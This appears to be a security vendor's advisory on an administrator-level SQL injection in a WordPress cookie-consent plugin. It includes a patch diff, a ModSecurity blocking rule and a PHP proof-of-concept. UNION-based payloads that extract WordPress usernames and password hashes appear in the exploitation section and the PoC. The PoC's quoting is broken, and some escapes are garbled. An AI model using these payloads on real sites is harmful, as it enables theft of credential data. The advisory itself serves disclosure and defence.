Atomic Edge analysis of CVE-2026-12920:
The Cookie Banner for GDPR / CCPA – WPLP Cookie Consent plugin for WordPress contains a SQL injection vulnerability in the admin data request table functionality. An authenticated attacker with administrator-level access can exploit the ‘s’ parameter to perform generic SQL injection, potentially extracting sensitive information from the database. This vulnerability is rated with a CVSS score of 4.9.
Root Cause:
The vulnerability originates in the `get_search()` method of the `class-wpl-data-req-table.php` file, located at `/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php`. In the vulnerable version (4.3.5), the method returns `urldecode( trim( $_GET[‘s’] ) )` without any sanitization or escaping. The raw URL-decoded value is then used in a SQL query built without parameterized statements. Specifically, at line 319, the unsanitized ‘s’ parameter is passed through URL decoding and trimming but not sanitized. This value flows into query construction elsewhere in the same file, such as the `email` and `name` filter logic at lines 485-491, where string concatenation directly appends user input into SQL queries. The absence of `wpdb->prepare()` calls for the ‘s’ parameter allows an attacker to inject arbitrary SQL.
Exploitation:
An authenticated administrator can send a GET or POST request to the admin data request table page, likely via the WordPress admin panel under a Data Request menu, using the ‘s’ GET parameter. The attack vector is the admin AJAX or direct page load where the `get_search()` method is invoked. An example HTTP request would include `?s=test’ OR ‘1’=’1` or a UNION-based payload such as `?s=’ UNION SELECT user_login,user_pass FROM wp_users–`. The injected SQL executes within the existing query, allowing extraction of sensitive columns from the `wp_wpl_data_req` table or other tables via UNION operations. Since the parameter is URL-decoded server-side, an attacker can encode special characters to bypass simple input filters.
Patch Analysis:
The patch modifies the `get_search()` method in `class-wpl-data-req-table.php` by replacing `urldecode( trim( $_GET[‘s’] ) )` with `sanitize_text_field( wp_unslash( $_GET[‘s’] ) )`. This applies WordPress sanitization that strips out HTML tags and removes potentially malicious characters, preventing SQL injection. Additionally, the patch applies prepared statements via `$wpdb->prepare()` to the email and name filters, ensuring bound parameters are escaped properly. The version is bumped from 4.3.5 to 4.3.6 in multiple files. The patch also includes minor improvements to script dependency handling in the public frontend, but the critical fix lies in the input sanitization and parameterized queries.
Impact:
Successful exploitation allows an authenticated administrator to perform SQL injection, leading to extraction of the entire WordPress user table (including hashed passwords), session tokens, and other sensitive configuration data. While administrators already have elevated privileges, the SQL injection bypasses internal filtering and can expose database credentials, potentially enabling lateral movement or privilege escalation if database credentials are reused. The CVSS score of 4.9 reflects the high impact but reduced attack complexity due to required authentication.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
+++ b/gdpr-cookie-consent/admin/data-req/class-wpl-data-req-table.php
@@ -319,7 +319,7 @@
* @since 3.0.0
*/
public function get_search() {
- return ! empty( $_GET['s'] ) ? urldecode( trim( $_GET['s'] ) ) : false;
+ return ! empty( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : false;
}
@@ -485,11 +485,11 @@
}
$sql = "SELECT * from {$wpdb->prefix}wpl_data_req WHERE 1=1 ";
if ( isset( $args['email'] ) && ! empty( $args['email'] ) && is_email( $args['email'] ) ) {
- $sql .= " AND email like '" . '%' . sanitize_email( $args['email'] ) . '%' . "'";
+ $sql .= $wpdb->prepare( " AND email LIKE %s", '%' . $wpdb->esc_like( sanitize_email( $args['email'] ) ) . '%' );
}
if ( isset( $args['name'] ) && ! empty( $args['name'] ) ) {
- $sql .= " AND name like '%" . sanitize_text_field( $args['name'] ) . "%'";
+ $sql .= $wpdb->prepare(" AND name LIKE %s", '%' . $wpdb->esc_like( $args['name'] ) . '%');
}
if ( isset( $args['resolved'] ) ) {
--- a/gdpr-cookie-consent/gdpr-cookie-consent.php
+++ b/gdpr-cookie-consent/gdpr-cookie-consent.php
@@ -10,7 +10,7 @@
* Plugin Name: Cookie Banner for GDPR / CCPA - WPLP Cookie Consent
* Plugin URI: https://wplegalpages.com/
* Description: Cookie Consent will help you put up a subtle banner in the footer of your website to showcase compliance status regarding the EU Cookie law.
- * Version: 4.3.5
+ * Version: 4.3.6
* Author: WPLP Compliance Platform
* Author URI: https://wplegalpages.com
* License: GPLv3
@@ -31,7 +31,7 @@
/**
* Currently plugin version.
*/
-define( 'GDPR_COOKIE_CONSENT_VERSION', '4.3.5' );
+define( 'GDPR_COOKIE_CONSENT_VERSION', '4.3.6' );
define( 'GDPR_COOKIE_CONSENT_PLUGIN_DEVELOPMENT_MODE', false );
define( 'GDPR_COOKIE_CONSENT_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
define( 'GDPR_COOKIE_CONSENT_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
--- a/gdpr-cookie-consent/includes/class-gdpr-cookie-consent.php
+++ b/gdpr-cookie-consent/includes/class-gdpr-cookie-consent.php
@@ -85,7 +85,7 @@
if ( defined( 'GDPR_COOKIE_CONSENT_VERSION' ) ) {
$this->version = GDPR_COOKIE_CONSENT_VERSION;
} else {
- $this->version = '4.3.5';
+ $this->version = '4.3.6';
}
add_action(
'current_screen',
--- a/gdpr-cookie-consent/public/class-gdpr-cookie-consent-public.php
+++ b/gdpr-cookie-consent/public/class-gdpr-cookie-consent-public.php
@@ -1542,11 +1542,12 @@
if($the_options['is_script_blocker_on'] && 'yes' === $viewed_cookie){
$header_scripts = isset($the_options['header_scripts']) ? "rn" . wp_unslash($the_options['header_scripts']) . "rn" : '';
$body_scripts = isset($the_options['body_scripts']) ? "rn" . wp_unslash($the_options['body_scripts']) . "rn" : '';
-
+ $footer_scripts = isset($the_options['footer_scripts']) ? "rn" . wp_unslash($the_options['footer_scripts']) . "rn" : '';
// Return JSON response
wp_send_json_success([
'header_scripts' => $header_scripts,
'body_scripts' => $body_scripts,
+ 'footer_scripts' => $footer_scripts,
]);
}
else{
@@ -1651,23 +1652,24 @@
$escaped_script = wp_kses_post(wp_unslash($body_scripts));
if (is_array($dependee_script) && count($dependee_script) > 0){
- foreach( $dependee_script as $dependee ){
- if( $dependee === "Footer" ) {
+ if ( in_array('Header', $dependee_script, true) && in_array('Footer', $dependee_script, true) ) {
+ // Body depends on BOTH Header and Footer
echo "<script>
- (function waitForFooter() {
- if (window.footerScriptsLoaded) {
+ (function waitForDependencies() {
+ if (window.headerScriptsLoaded && window.footerScriptsLoaded) {
try {
{$escaped_script}
} catch(e) {
console.error('Body script error:', e);
}
window.bodyScriptsLoaded = true;
- } else {
- setTimeout(waitForFooter, 50);
+ } else {
+ setTimeout(waitForDependencies, 50);
}
})();
- </script>";
- } else if ( $dependee === "Header" ) {
+ </script>";
+ } else if ( in_array('Header', $dependee_script, true) ) {
+ // Body depends only on Header
echo "<script>
(function waitForHeader() {
if (window.headerScriptsLoaded) {
@@ -1677,14 +1679,27 @@
console.error('Body script error:', e);
}
window.bodyScriptsLoaded = true;
- } else {
+ } else {
setTimeout(waitForHeader, 50);
}
})();
- </script>";
- } else {
- continue;
- }
+ </script>";
+ } else if ( in_array('Footer', $dependee_script, true) ) {
+ // Body depends only on Footer
+ echo "<script>
+ (function waitForFooter() {
+ if (window.footerScriptsLoaded) {
+ try {
+ {$escaped_script}
+ } catch(e) {
+ console.error('Body script error:', e);
+ }
+ window.bodyScriptsLoaded = true;
+ } else {
+ setTimeout(waitForFooter, 50);
+ }
+ })();
+ </script>";
}
} else {
echo "<script>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12920
# Blocks SQL injection attempts targeting the 's' parameter in the WPLP Cookie Consent data request admin page
# Matches exact admin page URI and SQL-like patterns in the 's' parameter
SecRule REQUEST_URI "@contains /wp-admin/admin.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12920 SQL injection via s parameter in WPLP GDPR Cookie Consent',severity:'CRITICAL',tag:'CVE-2026-12920',tag:'SQLi'"
SecRule ARGS_GET:s "@rx (?i)(bUNIONb.*bSELECTb|bORb.*[=<>']|bANDb.*[=<>']|'.*--|'.*#|'.*/*!|'.*/*)"
"chain"
SecRule REQUEST_METHOD "@streq GET"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12920 - Cookie Banner for GDPR / CCPA <= 4.3.5 - Authenticated (Administrator+) SQL Injection via 's' Parameter
$target_url = 'http://example.com'; // Change to target WordPress site URL
$admin_cookie = 'admin_cookie_value_here'; // Replace with valid administrator session cookie
// Step 1: Construct URL to trigger SQL injection via 's' parameter
// The vulnerable endpoint is likely: /wp-admin/admin.php?page=wplp-data-req&s=[payload]
$vulnerable_url = $target_url . '/wp-admin/admin.php?page=wplp-data-req&s=test' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9 FROM wp_users-- -';
// Step 2: Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing with self-signed certs
// Step 3: Set headers including admin authentication cookie
$headers = [
'Cookie: ' . $admin_cookie,
'User-Agent: AtomicEdge-PoC/1.0',
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Step 4: Execute request and capture response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 5: Check for SQL injection success indicator
if ($http_code == 200) {
echo "[+] Request successful (HTTP 200).n";
// Look for indicators of injected data; union payload may render user data in output
if (strpos($response, 'admin') !== false || strpos($response, 'wp_users') !== false) {
echo "[+] Potential SQL injection detected. Review response for leaked data.n";
// Extract and display part of response for manual inspection
echo substr($response, 0, 2000);
} else {
echo "[-] No obvious leakage in response. Check manually.n";
}
} else {
echo "[-] Request failed with HTTP code: " . $http_code . "n";
}
?>